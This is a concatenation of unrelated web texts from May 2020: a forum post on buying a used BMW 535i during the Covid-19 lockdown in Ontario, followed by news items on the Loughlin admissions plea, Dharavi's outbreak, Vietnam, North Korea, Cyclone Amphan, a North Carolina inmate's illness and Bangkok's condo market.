It is mechanically flawless despite having ~197,000km on the odometer and has been with me for almost seven years now with no major issues. Routine maintenance as well as the BMW traditional preventive maintenance has kept things running smoothly. As for the E46, sadly I bid it farewell in July 2014. The AC evaporator had failed and repairing it would mean pulling apart the entire dashboard just to access the part. Not only would it be an extremely time consuming job, it would also be an extremely expensive to repair since at the time I had no access to tools or a garage.Lastly, after almost 10 years, I can confidently say I've learned more about BMWs than your average person. Coding has been my favorite thing to do in any modern BMW and I've happily been learning VO/FDL coding to unlock even more options in my cars and truly making them my own.Now that we're all caught up, it's finally time to move on to the purchase process for the 535i.Having had the aforementioned E90 328i for such a long period of time, the itch to purchase a new car began all the way in early 2019. It goes without saying that I knew I wanted another BMW, this time a 5 series and specifically a 535i. The N20 inline-four powered 528i was never even considered because of its rather sluggish performance and the N63Tu V8 powered 550i was ruled out because of the sheer number of issues with the engine. What year, what mileage, and what options my future 535i would have was still a long ways out. I did however know I would want a facelifted car, or LCI (Life Cycle Impulse) model as BMW likes to call them. These models were produced starting July 2013 all the way to October 2016 and included most of the recent BMW tech.As with any car purchase, planning the finances was the biggest challenge. Personally, I hate being in debt and prefer to pay cash for my car and own it outright. I also don't think a brand new car is a wise investment especially from a luxury marque like BMW. The depreciation on these cars here in North America is frankly depressing. I much rather let someone else deal with the depreciation and then enjoy a relatively new model for a far more reasonable price. Besides, as someone who owns cars for a long period of time, depreciation is ultimately of no concern to me.Regardless, plenty of weeks went by in early 2019 planning and plotting for the incoming vehicle. By my calculations and after factoring in any unforeseen happenings, I came to the conclusion that I would have enough cash on hand to purchase my next car in or around April 2020.Once that issue was tackled, I figured I would wait till around early March 2020 to start finding a car. I had also come to a conclusion that I wanted a mid to late 2016 build car so as to have factory warranty for an extra few months. In the mean time, I began looking for brochures to see what the most desirable options/packages were. Sadly, while I wasn't able to find any brochures online for 2016 models, I was able to find one for 2015 cars directly from BMW Canada's website. Immediately, a few options became an absolute must for me to have while others became optional. Please see an excerpt from the brochure I used to narrow down my options list:I knew from the get-go that I had to have the M Performance Package for the additional 20HP/32lb-ft (43nm) of torque and the giant 20" wheels. After doing some additional research, I learned that Canadian vehicles that had the M Performance Package were required to be specced with the M Sport Line AND Premium Package. That made my life a little easier, however I still wanted to have the Technology Package for those sweet, sweet Adaptive LED headlights plus the HUD and all inclusive safety features. The Enhanced Interior Package and the Premium Seating Package became optional for me; while they had some features I wanted (like heated rear seats), not having them would not be a deal breaker. During this time, I also downloaded the complete owners manual from the internet and began to read every page in order to familiarize myself with my future car. In fact, I read with such fervor, when I eventually took the test drive a few months later, I was thoroughly checking everything as though I had owned the car for years.With the packages/options list more or less locked in, next came the time to research the things nobody wants to: potential issues as well as common complaints/niggles other owners had. I was familiar with the N55 engine and that for the most part it was a rock solid BMW inline-six. Other than that, it looked like the 535i's were mostly very reliable provided they were well maintained. There's of course always someone who has issues but those tended to be extremely rare. Overall, the 535i checked every box and reassured me that I had made the right choice in deciding on this particular model. As xDrive was the only option for Canadian vehicles, I had no choice despite the fact that I would have preferred a RWD vehicle for the most unadulterated BMW driving experience.Of course, as we entered into 2020, we welcomed something that would change everything for humanity as a whole and for the foreseeable future: Covid19. As I mentioned, I was completely ready to purchase a car with the required cash on hand in late March 2020. The only problem now was a full shutdown of any car sales initiated by the Ontario government to help curb the spread of the virus. With an almost horrible sense of irony, as I was browsing a used car website in mid April 2020, I suddenly spotted the exact car I wanted with every option/package ticked down the T sitting at a dealership a mere 15km away from my house! Not only did it have every single option of my choosing, it also had the exterior color as well as interior color I wanted! I honestly couldn't believe it, it almost seemed like it was too good to be true.Given that the dealership was closed, I knew it was pointless to anticipate a viewing, however I knew I just had to go see the car at their lot to get an idea of its condition. I hopped into my trusty black steed and drove with an excitement I hadn't felt in years. Car purchases are always such a fun affair are they not? I arrived at the dealership and promptly clicked the below photo to document my journey on Team-BHP. It was my very first look at the car in the flesh and I was immediately in love. The muscular side profile, the aggressive front end, the subdued rear end. Uff...The body was in great shape, barely any scratches and those that existed were superficial enough to be hidden by the silver paint. It's one of the reasons I wanted a silver car, it hides any paint damage as well as dirt so well but sadly doesn't have the same pop and shine as a freshly detailed black car would. The wheels sadly had curb rash almost all around, very annoying especially since the car has a top down view camera to mitigate this exact thing. Sadly, with a used car, things like this are completely beyond anyone's control. In any case, I peeked inside and saw the interior was in pristine shape. Just seeing the interior put such an enormous smile on my face, this was the perfect car with literally everything I wanted. I stayed for as long as I could at the dealer lot before finally bidding the car adieu and returned home, but not before clicking a picture of the VIN. I wanted to decode the VIN and pull up the build sheet for this car to see confirm which options were installed from the factory along with the actual date of manufacture. Below are pictures of said build sheet:Once home, and after confirming the options on the build sheet, I emailed the dealership to ask if they could perhaps arrange for a test drive. Two days later, the dealership responded that they could try to arrange one for me by basically delivering the car to my home and then letting me take it out for a spin. Of course, I immediately replied that this would be a wonderful idea and asked about their scheduling. After this email, the dealership went cold and did not reply further much to my dismay. I later learned that the by-law services in my city were fining car dealerships for over $100,000 for allowing test drives. I began to lose hope and felt so frustrated. My dream car was sitting right there, so close yet so, so far.Two weeks later on the very first day of May 2020, I received an email from the dealership asking if I was available at 11am the following day to view the car. I immediately responded with a resounding yes. It turned out the Ontario government had relaxed the rules the night before to allow car viewings and test drives strictly by prior appointments. Things were beginning to look up once again. Right after replying, I contacted a close friend of mine who has also been my mechanic for the last decade or so to help me with the mechanical aspects of the vehicle. I trust his judgement fully and told him up front if he passed the car, I would be willing to close the deal there and then. Happily, he immediately responded with a yes and told me he'd be at the dealership at 11am sharp. I then contacted my best friend to see if he'd be willing to come down too who also immediately said yes. Everything was good to go for the next day, now if only time would pass by quicker.10:30am the following morning I left my house in incredibly high spirits with literally no idea how the day would go. Both my friends were waiting for me when I arrived at the dealership 20 minutes later. After exchanging pleasantries with the salesman, we were given the key and decided to check out the car. Of course, my mechanic buddy immediately jumped into action and began checking out the exterior of the car for any obvious damage/repairs. He opened up the hood and checked for any obvious leaks or broken hoses. My best friend on the other hand began admiring it with as big a smile on his face as mine.Once my mechanic friend was satisfied, he asked me to hop in to take us all out for a test drive. Finally, after what seemed like an eternity, I took a seat into the drivers seat and was immediately floored. This was so much better than I imagined: the Nappa leather upholstery was so incredibly soft and supple to the touch, everything in the car was so beautifully laid out, and had a much more upmarket feel compared to my aging 3 series. I hate to keep repeating myself, but I was once again completely head over heels in love with this car. Keeping my emotions in check (and to myself!), I pressed the engine start/stop button and it roared into life. After adjusting my seat/mirrors and putting on my seatbelt, I put the car into drive and slowly made my way out of the parking lot.Right away a couple of things happened. The sheer size of this car compared to my 3 series made itself apparent. The hood was so much longer and was very visible while driving while the width took a little getting used to. Luckily, BMW has installed cameras in the front bumper as well as the ORVMs to make low speed maneuvering as easy as possible. Pictures of the cameras as well as their views in the infotainment screen are below:Bumper mounted cameras, identical one on right sideView from the bumper mounted cameras on the infotainment screenORVM mounted cameraSurround view aided by above cameraIn any case, I was extremely apprehensive and took things slow to begin with. As we drove around the city streets I began to get a better feel for the car and at the same time, the three of us all noticed just how comfortable it was. Bumps were ironed out and the noise insulation specific to LCI cars was very apparent. We reached the highway on ramp and luckily there was no traffic ahead of me. I immediately dropped the car into sport mode, moved the transmission lever into S mode, and engaged the paddle shifters to take full manual control of the gearbox. I then floored the accelerator and to all of our surprise the car transformed from a docile long distance cruiser to an aggressive speed machine. The tuning gains as well as upgraded throttle response offered with the M Performance Power Kit really made itself known, this is a seriously fast car for it's size and weight. Extremely impressed with the performance, I merged into traffic and let the car ease off. I switched it back into Comfort mode and slid the transmission lever back into D whereupon it once again became subdued. All three of us then noticed a strange whirring noise coming from the front end which my mechanic friend immediately attributed to feathered run-flat tires. Definitely something that could be used to leverage the price of the car.One other thing that really stuck out to me during the test drive was the Heads-up Display (HUD). Previously, I had thought of the HUD as being a gimmick that I would rarely use. In my short test drive, any misconceptions I had about the HUD disappeared. It's such a useful little utility to have, the projection is incredibly crisp even in direct sunlight and it also offers a fair amount of information (navigation directions, song playlist, phone call information, speed limit information, etc.). I am now spoiled for the rest of my life as any future cars will absolutely require a HUD.Test drive over, we made our way back to the dealership. My mechanic friend insisted on seeing the underside of the car just to make sure there were no further leaks or hidden surprises waiting for us. A quick phone call later and a hoist at a nearby garage was arranged for. The dealer was perfectly happy with letting us take the car for what was essentially a pre-purchase inspection. Things were beginning to get serious at last, I began to get slightly more nervous and hoped the car would check out. We drove the quick 2km to the hoist and propped up the car to get a good look underneath. Some pictures below:Thankfully, aside from the car needing four brand new tires, everything else was in tip top shape. The car was then lowered from the hoist and once again we made our way back to the dealership. On the way, I asked my mechanic friend who instantly gave me the green light and at the same time both of them offered to help negotiate the price of the car. I gave them both the go ahead to negotiate as best a price for me as they could so that I could possibly close the deal on the same day. This was my dream car after all, it would be hard to pass up on it especially if a fair price could be negotiated for it.We arrived at the dealership once again and immediately got talking to the salesman. My friends did all the talking on my behalf and within 30 minutes, managed to negotiate the price down by about $3,200. Not only was this comfortably within my budget, it also meant I would have plenty of spare change left to buy mods down the road. The deal was finalized and I paid a $500 deposit to seal the car as mine. I was over the moon and profusely kept thanking my friends for helping out. The salesman offered to click a picture with my car and I happily obliged!I was instructed to bring a certified check when possible so that a bill of sale could be written up. This would also enable the dealership to get the car registered under my name so that I could attach license plates. For those unaware, license plates in Ontario, Canada are tied to the owner and not the car.As the deal was finalized on a Saturday and the banks were closed, I had to wait agonizing hours for Monday to arrive. I arrived at the bank shortly after 10am and then had to wait quite a bit more because of Covid19 restrictions. Just my luck! Banks were limiting the amount of people inside the branch and I ended up waiting almost 20 minutes for my turn. A check was eventually issued and with my bank account now being considerably lighter, I quickly made my way to the dealership to drop it off so the registration process could begin. I asked the salesman where the car was since I didn't see it on the main lot, he laughed at my impatience and said they parked it around the back to nobody else would try to get a glimpse of it. Thanking him, I went around the back to get one more look at my monster. Of course, I just had to take a pic:I spent almost five minutes just admiring the car from every angle all over again with a big goofy grin on my face. I still couldn't believe this beautiful car was fully mine. Eventually, I figured I should get going and start arranging for new tires. I wanted to have the car fully ready with brand new tires when I took delivery. The dealership had agreed to drop off the car at a shop where the new tires could be mounted/balanced. Delivery would also take place at the same shop since the vehicle registration and keys would be left there.After returning home, I got to work on finding tires. I have always preferred Michelin tires so the brand was a no brainer. I also knew that there would be zero chance I would install runflats, the ride quality is garbage with those and I was not making the same mistake I had once made in the past. After doing some research on various BMW specific forums, I finalized my tire option to the Michelin Pilot Sport 4S summer performance tire. Since my car uses a staggered setup, the tire sizes were as follows: 245/35/ZR20 for the front, and 275/30/ZR20 for the rear. Pictures of the tires installed on the car are below. Note that these images were taken a few days post delivery:275/30/ZR20 at the rear245/35/ZR20 in the frontAt this point, let's flash forward a few days post delivery. I'd like to mention that despite these Style 434M wheels being 20", the deletion of runflat tires made the ride so incredibly smooth. With the runflats, I would never have liked to stick with the 20" wheels, the ride is simply way too harsh. Every bump feels like it'll blow the tire or worse damage the suspension. With these Michelin non-flats however, the car feels like it's floating on air. Truth be told, it doesn't feel at all as if I'm driving on 20s even on bumpy roads. In any case, back to the past!I found a local retailer who had the tires in stock and after a quick phone call, placed the order and told them I would be in later that day to pay for the tires. I also requested them to drop the tires off at the mechanics shop which they agreed to do. In total, I paid $1,820CAD (~99,000) for all four tires. Very expensive yes, but tires and brakes are something that I will never compromise on. These two things are literally the most important thing keeping me alive, why on earth people still opt for Chinese brand tires on high performance vehicles is beyond me.With the tires finalized, it was now time to go home and wait patiently for Thursday which was when the delivery was supposed to occur. Thursday arrived and around 3pm I got the call saying my car was ready for delivery. I was so excited and quickly contacted my best friend to see if he could give me a ride to the dealership. He was equally as happy and said he'd be at my place within 30 minutes so we could pick it up. As soon as he arrived, I hopped in and off we went to pick up the car. There are sadly no pictures of the delivery since I just took the keys and ownership with zero fanfare. After I got in and started the car, I noticed it was running on fumes with literally 20km range left in the tank. I quickly told my friend we would be making a pit stop at the petrol pump to fill up the belly of my beast. A picture of the very first fill up is below:After this, my friend and I parted ways with plans to meet up during the weekend so that he could check out and drive my new car as well. I made my way home with the biggest smile and eventually parked my silver bullet in the garage right next to my 3 series:As the day finally came to a close, I was feeling so incredibly content. It had been a wild few weeks but finally, I had exactly the car I wanted. However, there was still much to do!I've shared various pictures of the vehicle below with descriptions. Not a lot of talking here, just enjoy the pics.The mean front end with the LED angel eyesI love the way the golden sunlight hits the car at this angleThe BMW N55 twin scrolled turbo inline-six engine, develops 326HP/332lb-ft (450nm) torque and pushes this car from 0-100 in 5.4 secondsThe cockpit with full digital instrument clusterCenter consoleKey with obligatory Team-BHP keyringThe driving aids plus headlight controlsThe sweet, sweet full Adaptive LED headlightsFront drivers seatFront passengers seatParked at my friends house the following weekend! The VW Jetta and W205 Mercedes-Benz C300 both belong to my friend.In the next post, I'll cover some of the things I've done since taking delivery. Spoiler alert: it's not a lot... yet! Last edited by CrippledLucifer : 21st May 2020 at 02:48 .
CAMBRIDGE, Mass.  She frowned at times, and other times nodded ruefully. When it was all over  after she had uttered the word guilty  she closed her eyes and sighed.

After more than a year of maintaining her innocence, the actress Lori Loughlin pleaded guilty on Friday in the college admissions case, via a videoconference because of coronavirus-related restrictions. If a federal judge accepts her plea, she is anticipated to receive a sentence of two months in prison under an agreement reached with prosecutors.

Prosecutors accused Ms. Loughlin, 55, and her husband, Mossimo Giannulli, 56, a fashion designer, of paying a college consultant $500,000 to get their two daughters admitted to the University of Southern California as crew recruits even though neither girl participated in the sport. Mr. Giannulli also changed his plea to guilty during the hearing on Friday.

The case, in which dozens of wealthy parents were charged with conspiring to cheat on admissions exams or bribe college coaches, drew attention to inequities in the college admissions process and the lengths some parents go to get their children into prestigious schools. It inspired calls for reform and has contributed to skepticism about the SAT and ACT, the standardized tests that many colleges have traditionally required.
New Delhi, May 22 : Maharashtras Education Minister Varsha Gaikwad is a 4-term MLA from Dharavi and a second time Cabinet minister in the Uddhav Thackeray-led Maha Vikas Aghadi government. Her constituency Dharavi has emerged as a cluster of Covid-19 with the total number of cases crossing 1,400. She says the government is trying to reduce crowding in the area and enforce social distancing. Besides, the government is also facilitating migrants return to their native places.

A well-groomed politician -- her father Eknath Gaikwad is the President of Mumbai Congress -- Varsha Gaikwad has her task cut out in Dharavi, which is Asia's largest slum, and where over 7 lakh people are cramped up in an area of 2.25 sq km.

She speaks exclusively to IANS and spells out her priorities. Excerpts from the interview: Q: What is the situation in Dharavi?

A: There are around 1,400 corona positive cases in Dharavi. The cases are rising elsewhere in Mumbai too, as we go for more testing as per Central government's guidelines. We are testing continuously to detect cases.

Q: How many tests are done in Dharavi? A: We have opened transit camps and are testing people who have symptoms. We are trying to detect as many cases as possible. We have opened centres at Sion hospital and in BMC (Brihanmumbai Municipal Corporation) hospitals.

Q: How are you dealing with migrant workers in Dharavi? A: Those who want to go home, whether from Uttar Pradesh Chhattisgarh Rajasthan or Tamil Nadu, we are arranging their return to their native places as per the directives of the state governments. We are making a list of such people through NGOs and our party workers. When the numbers are adequate, we book a train and send them to their states daily. In Dharavi, the government's prime job is to try and reduce crowding in the area because many people live together in small houses. It is very tough to identify people and test them and trace the contacts because each house has 7 to 8 people living in.

Q: How are you getting the help of NGOs and others? A: We have provided 25 ambulances to the Jain Samaj; each ambulance works like a dispensary and is manned by private doctors who test and help in tracing the people who have symptoms. We are monitoring continuously; the screening is not feasible in a day. Private doctors are playing a vital role by helping us to detect cases and identify clusters as they know the families and have that confidence level.

Q: How are you identifying the vulnerable sections? A: We are prioritising the elderly for tests and also those who have a history of hypertension, diabetes or other ailments. In case some of them test positive or show symptoms, they are treated or are kept in quarantine centres. There are Covid-19-dedicated hospitals; we have taken over schools, hotels community centres in the area as per the Disaster Management Act and converted them into quarantine centres.

Q: Is there any evidence of community spread? A: You have to understand the demography of Dharavi where 80% of the people live in less than 100 sq ft area and there are more than five to seven people in each house and at least 50 people use a single toilet seat. So it is very problematic for them to maintain social distancing in their houses. For social distancing, we have taken steps to create awareness among people and have distributed sanitizers. Buildings and common places have been fumigated.

Q: You are saying you are trying to reduce crowding in Dharavi to maintain social distancing? A: We are trying to maintain social distance to reduce crowding. In collaboration with medical practitioners at community level, we have tried to instill confidence among the people, and we are monitoring them continuously.

Q: Are those are going out of Mumbai being tested? A: We are adhering to the Central government policy and the guidelines put out by other states. Those who are leaving by private vehicles and buses are being tested, but those who are going by train they are being screened at railway stations. Those who show symptoms such as a fever are separated and kept in quarantine centres, though they don't require a medical certificate (while leaving).

We are giving rations and also cooked food through NGOs through our network and the food is reaching them because they are not expected to come out to fetch food. While doing so, we keep in mind social distancing. In this situation, we understand that many of them are disturbed because they jobless and don't have money.

Q: You are sending them home, but don't you think there will be a labour shortage when the situation normalises? A: This is a humanitarian crisis -- people want to go home, live with their families and they don't know how long it will last. Yes, there could be a labour shortage, but we expect that as the situation normalizes, people will return. Right now our priority is their health.

Q: As the Education Minister, how long do you think the school will remain closed? A: We have been consulting the Chief Minister and the officials concerned, and we are going as per the Central government's guidelines. There is no decision yet on opening of schools, but we are chalking out a strategy so that students and children are safe. Let's see how the situation evolves.

-- The story has been published from a wire feed without any modifications to the text
What you need to know today in Vietnam:

Society

-- Vietnam reported no new COVID-19 cases on Friday morning, with the tally still standing at 324 patients.

-- Vietnam is weighing options to send a British pilot who is its most critical coronavirus case back to the UK after over two months of treatment. The patient has tested negative for the virus at least six times for the past two weeks.

-- A military court in Vietnam on Thursday sentenced Nguyen Van Hien, a former deputy defense minister, to four years in prison for his land-related wrongdoings while in office.

-- Temperatures are forecast to hover around 34-37 degrees Celsius in Hanoi and Ho Chi Minh City this week.

-- Bayer Vietnam Managing Director Lynette Moey Yu Lin was fined VND30 million (US$1,284) for sending documents including the illegal 'nine-dash line,' which China uses to absurdly claim nearly all of the East Vietnam Sea, to her staff, according to the Ho Chi Minh City Department of Information and Communications. She also had her phone taken away as she had used it to disseminate the documents.

Business

-- Apple has reportedly shifted some of its AirPods Pro production to Vietnam from China, according to tech site The Verge.

-- Over 2,000 fake items of fashion were seized from sellers in the Old Quarter in Hanoi on Thursday, according to market management officials.

World News

-- Almost 5.2 million people have caught COVID-19 while more than 334,000 have died of the disease, according to Vietnam's Ministry of Health.

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!
The North Korean state newspaper has admitted that the country's leader, Kim Jong Un, cannot bend space and time after years of mythologising him.

The admission from the Rodong Sinmun newspaper is the latest sign that the country is moving away from propagandizing myths about its leaders, and is instead taking an approach that focuses on humanising the dictator, according to analysts.

'In realistic terms, a person cannot suddenly disappear and reappear by folding space,' the newspaper said this week, denying that members of the Kim family are capable of 'chukjibeop' - a hypothetical method of folding space and quickly travelling great distances.

In Korean, the term is translated as 'distance-shrinking magic', and is akin to supernatural speed or teleportation.

Speaking on Thursday, an official from South Korea's unification ministry said that the secretive regime's trend of demystifying its leaders - Kim Jong Un and his father and former leader Kim Jong-il - is 'noteworthy', according to the Yonhap News Agency.

'It appears to stress patriotism and love for the people rather than mystification of the leaders. We will further analyze its implications,' the official said to the agency.

Since the failure to arrive at an agreement with U.S. President Donald Trump at their second summit in Hanoi last year, Kim Jong Un has taken efforts to show his more 'human' side, and has urged people not to mythologise him.

Pictured: Kim Jong Un supposedly makes his first public appearance after 20 days of absence that sparked rumours about his health, and suggestions that he had died as a result of a botched heart surgery

Speaking in March last year after the breakdown in negotiations, state media quoted Kim saying: 'Mystifying a leader's revolutionary activity and appearance would result in covering the truth.'

'Absolute loyalty would spring up when (they) are mesmerized by the leader humanly and comradely,' he added.

Earlier this month, Kim Jong Un appeared to make his first public appearance after 20 days of absence, which sparked rumours about his health.

Some reports in April said that he had undergone heart surgery, with one Japanese news outlet saying that the surgery had gone wrong and he was in a vegetative state. Other outlets went as far to say that he had died.

Since then, South Korean intelligence officials have said there was no sign Kim Jong Un underwent a heart operation, following rumours that he was 'gravely ill' or even dead following surgery.

However, Kim Jong Un has made an unusually small number of public appearances in the past two months, once again going three weeks without state media reporting his attendance at a public event, according to analysts, but could be due to the coronavirus.

Speaking to a parliamentary committee on May 6, the head of South Korea's intelligence agency, Suh Hoon said there was nothing to indicate the rumours about Kim's ill-health were true.

'The NIS assesses that at least he did not get any heart-related procedure or surgery,' committee member Kim Byung-kee told reporters. 'He was normally performing his duties when he was out of the public eye.'

'At least there's no heart-related health problem.'

Since the failure to arrive at an agreement with U.S. President Donald Trump at their second summit in Hanoi last year (pictured, June 30, 2019), Kim Jong Un has taken efforts to show his more 'human' side

But the lawmaker said Kim Jong Un only made 17 public appearances so far this year, compared with an average of 50 from previous years, which the NIS ascribed to a possible coronavirus outbreak in North Korea.

'Kim Jong Un had focused on consolidating internal affairs such as military forces and party-state meetings, and coronavirus concerns have further limited his public activity,' Kim Byung-kee said.

'Though North Korea maintains it has zero cases, it cannot be ruled out that there is an outbreak there given they had active people-to-people exchanges with China before closing the border in late January.'

Kim's low profile comes as North Korea imposes anti-coronavirus measures, although the country says it has no confirmed cases, and follows intense speculation about his health last month after he missed a key anniversary.

Kim has appeared publicly four times in April and so far in May, compared to 27 times in the same period last year.

Since coming to power in 2011, the previous fewest public appearances Kim has made during those months was 21 in 2017, according to a tally by Chad O'Carroll, CEO of Korea Risk Group, a Seoul-based organisation that tracks North Korea.

'This is not business as normal,' he said in a post on Twitter this week.

A photo released by the official North Korean Central News Agency shows Kim Jong Un (picturedd centre, May 1) cutting a ribon at a completion ceremony of a factory, marking his supposed first public appearance in 20 days

As a leader with near-absolute power over North Korea's 25.5 million people, and access to a growing arsenal of nuclear weapons, Kim's health and whereabouts are often scrutinized by the international community for any signs of instability.

Information in North Korea is tightly controlled, however, and independently confirmed details on Kim are almost non-existent.

South Korean officials have said they believe Kim's limited public appearances may be precautions in the face of coronavirus concerns. North Korea has cancelled, postponed, or toned down many major public gatherings because the new coronavirus.

When asked about Kim's absences, South Korea's Unification Ministry said on Friday it is monitoring the situation, but noted Kim is often out of the public eye.

Citing an unnamed South Korean government official, JoongAng Ilbo newspaper reported Kim may be carrying out his duties from a favoured villa in Wonsan, on the coast.

But the North Korean leader may also simply be focused on some of the domestic economic and political goals he outlined before the coronavirus crisis struck, said Rachel Minyoung Lee, a former North Korea open source intelligence analyst in the U.S. government.

'COVID does remain a major concern for the country, but state media coverage of COVID has declined over the past month or so, so I don't seen regime's increased concern,' she said.

Friday marks three weeks since state media last showed images of Kim attending a public event.

North Korean state media reported Kim attended the opening ceremony of a fertilizer plant on May 1. That appearance marked a reemergence for Kim, whose unprecedented absence from a major holiday on April 15 sparked weeks of international speculation over his health and whereabouts.

Since then, state media has carried a steady stream of stories on Kim sending or receiving letters and diplomatic correspondence, but have not shown him attending public events.

North Korean media have for years propagandized myths about the Kim family, perpetuating beliefs that they are capable of superhuman feats. Pictured: Residents of Pyongyang, the capital of North Korea, watch Kim Jong Un's first supposed public appearance on large screens, May 1

Kim Jong Un has made an unusually low number of public appearances this year. Experts believe this is due to Covid-19, although North Korea claims to have seen zero cases of the virus despite its shared border with China, where the virus is believed to have originated from

Meanwhile, North Korea has halted talks with the United States until the results of the US presidential election in November are known, Russia's ambassador to Pyongyang told news agencies Wednesday.

President Donald Trump has met North Korean leader Kim Jong Un three times at historic summits and voiced admiration for him, although hopes of striking a comprehensive agreement have faded.

'As for dialogue with Washington, which they deem to be pointless for now, it seems to have been postponed at least until after the US presidential election,' Ambassdaor Alexander Matsegora told Interfax news agency in an interview.

'They shall see what happens next,' he said.

North Korea has fired off a series of rockets as it demands concessions from the Trump administration, which says that international sanctions should remain until the regime fully denuclearizes.

Matsegora said he expects dialogue between Washington and Pyongyang to eventually resume, adding Russia was unhappy with the suspension of talks that could increase tension in the border region.

'Clearly, Moscow cannot be happy with the deep-freeze in the US-North Korean dialogue, which is fraught with an escalation of tensions in the region adjacent to our Far Eastern border,' he said.

The ambassador also criticised US sanctions on North Korea which he said were hindering supplies of crucial medical equipment to Pyongyang.

Russian President Vladimir Putin in March called for sanctions relief during the coronavirus pandemic, telling G20 leaders it was a matter 'of life and death'.

Matsegora said sanctions were blocking the supply of medications and medical equipment to North Korea and Washington was 'hunting down anyone who has at least some trade with North Korea, even if completely harmless things are supplied.'
Consumers who eat beef could slash their diets carbon footprint as much as 48% by swapping just one serving of it per day for a more planet-friendly alternative... Read More
Soon Rello, a pediatrician, was treating dozens of coronavirus patients. But they werent who shed expected. This patient was only 30 years old. That one was 32. Nearly half the people she was seeing were young, she said, and many were dying. The narrative seared into the global consciousness in the early months of the pandemic  that the virus spared the young and ravaged the elderly  was not what she was watching unfold in Brazil.
In the middle of a pandemic, if a cyclone comes hurtling toward you, what should you do?

Debasis Shyamal, a fisherman, forgot about social distancing. He crammed himself into a government shelter, minutes before Cyclone Amphan crashed into his coastal village in West Bengal on Wednesday hurling winds of up to 170 kilometers (105 miles) per hour.

He stayed awake in the dark, listening to the carnage outside. "No one was thinking about the virus. We were just trying to stay alive," he said.

The cyclone has now dissipated. But the pandemic hasn't.

In the past 48 hours, the cyclone killed 77 people and the coronavirus nine in West Bengal, one of India's poorer states. Even before the cyclone, its pandemic response was lagging; the state has one of the highest fatality rates from COVID-19 in India.

With an economy crippled by India's eight-week lockdown, and health care systems sapped by the virus, authorities must tackle both COVID-19 and the cyclone's aftermath.

"I have never seen such a disaster before," said West Bengal Chief Minister Mamata Banerjee.

The challenges are many: crowded shelters could emerge as viral clusters, outbreaks of other diseases triggered by the cyclone and flooding, and jobless migrant workers returning to villages from cities like Mumbai and New Delhi, potentially bringing the virus with them.

The pandemic made evacuations harder since many cyclone shelters were being used for quarantining virus patients. Authorities said social distancing was maintained while nearly 500,000 people had been evacuated. But testimonies suggested this often was not possible.

AP
Laura Riddick, the former Wake County register of deeds serving a prison sentence for embezzlement, has been sick with coronavirus for more than a month, her husband said.

Riddick, 53, remains housed at the North Carolina Correctional Institution for Women in Raleigh, where she is quarantined in a crowded dormitory, Matthew Eisley said.

In the dorm, she suffers from a fever, chest pain, headaches and fatigue, and is housed with other inmates who have COVID-19 or previously had it, Eisley said.

Social distancing is not possible there, he added, and Riddick, who has a heart condition, has not been able to see a doctor or get an electrocardiogram test.

She has suffered, and continues to suffer, mightily, as does our family, Eisley said. I fear that she could die in prison, where she has been a model inmate since she arrived there two years ago. I hope she doesnt leave in an ambulance  or a hearse.

John Bull, a spokesman for the Department of Public Safety, said he cannot discuss offenders medical conditions. But he said the department follows guidelines from the U.S. Centers for Disease Control and Prevention, providing separate housing for those who test positive.

All prisons have medical isolation, medical quarantine and advanced treatment protocols in place in case they are needed, he said in a Friday email.

Embezzlement sentence

Riddick, who ran the register of deeds office from 1997 to 2017, pleaded guilty in 2018 to six counts of embezzling.

She repaid more than $900,000, the amount she was accused of taking, and began serving a 5- to 7-year sentence.

Her attorney at the time credited her crime to a difficult childhood and ongoing anxiety that triggered an impulse to hoard money. She has since sued to recover her pension.

Two years in the decrepit state lockup is enough to punish a physically and mentally ill woman who confessed, apologized, faced immense public scorn, and already made full financial restitution, Eisley said. Thats more than enough pounds of flesh.

Story continues

She should be released to home confinement, said Eisley, a former News & Observer reporter, columnist and editor.

At her sentencing in 2018, Riddick provided a medical and psychological history that described a detailed description of her anxiety and tachycardia, the medical term for a heartbeat greater than 100 per minute.

In April, she shared a letter from her Raleigh physician explaining that her cardiac arrhythmia placed her at a greater risk for COVID-19 complications.

NC prison cases

Statewide, the state health department reports 1,130 coronavirus cases and 14 deaths in correctional facilities. State officials in early May said they are providing masks and asking prisoners to sleep head-to-toe. About 700 inmates, a little more than 2% of the total, had been released early due to COVID-19 at that point.

NCCIW, North Carolinas main prison for women, reported 81 COVID-19 cases in April, the second-largest outbreak statewide.

Im concerned about all the people down there who are stuck in a pretty grim environment, Riddicks attorney in Raleigh, Robert Orr, said. Obviously, the staff is being exposed to it.

Earlier this month, longtime inmate Faye Brown died of coronavirus complications at 67.

Faye Brown died of complications from COVID-19 on May 6, the first inmate to die at N.C. Correctional Institution for Women in Raleigh. She was 67 and had been behind bars since 1976.

Shortly afterward, about 20 friends and former inmates gathered outside the Southeast Raleigh prison to protest conditions there, saying friends inside told them they are still sleeping 2 to 3 feet apart.

A small group of former inmates and supporters from the N.C. Correctional Institution for Women gathered across the street from the facility to protest prison conditions on Saturday, May 9, 2020. Their friend, 67-year-old Faye Brown, died there Wednesday, May 6 of COVID-19 complications. They have argued for early release of nonviolent offenders and those within two years of finishing their sentences to prevent the spread of the virus, citing personal knowledge of the conditions that make social distancing impossible.

In his email, Bull said the majority of offenders who tested positive for COVID-19 are presumed to have recovered. Of the 644 individuals testing positive, 533 of them have now met criteria to be released from medical isolation.

He added 59 of 91 positive-test offenders at NCCIW have passed their isolation periods and are presumed recovered.
Bangkok condo market takes a hit, marks new report

BANGKOK: The sale of condominiums in the Bangkok area has plunged, with just over half the number of units expected to launch this year so far opening, and developers turning to discounts and other incentives to lure buyers, notes a new report by Knight Frank Thailand.

propertyCOVID-19

By The Phuket News

Friday 22 May 2020, 03:56PM

Risinee Sarikaputra, Director of Research and Consultancy, Knight Frank Thailand, said that the condominium market in the first quarter of 2020 has been relatively slow in terms of both supply and demand  due to COVID-19.

The outbreak began in late January 2020, and in March, it became more severe. As a result, from mid-March to April, there were no new condominiums launched for sale in Bangkok.

Projects that had planned launches postponed them to the last quarter of the year. As many companies implemented a work-from-home policy for employees, the sales offices of many condominium projects closed and stopped services. Customers could, however, view the projects by calling in advance, explained the report, released on Wednesday (May 18).

The sales approach has shifted to the digital platform; many companies are now using applications to communicate with customers, including sales via LINE, websites and apps, with virtual project visits via VDO call, Live Youtube, and Facebook or unit reservations using various online booking formats.

The data collected on new condominium launches at the end of March showed that in 2020, there should be around 11,000 to 12,000 new condominiums launched for sale in the Bangkok area. This marked a decrease from the 20,000 condominium units that at the beginning of the year were expected to be launched. The fall also marked a decrease of up to 80% when compared to the past eight years, which saw an average launch of 60,000 units each year.

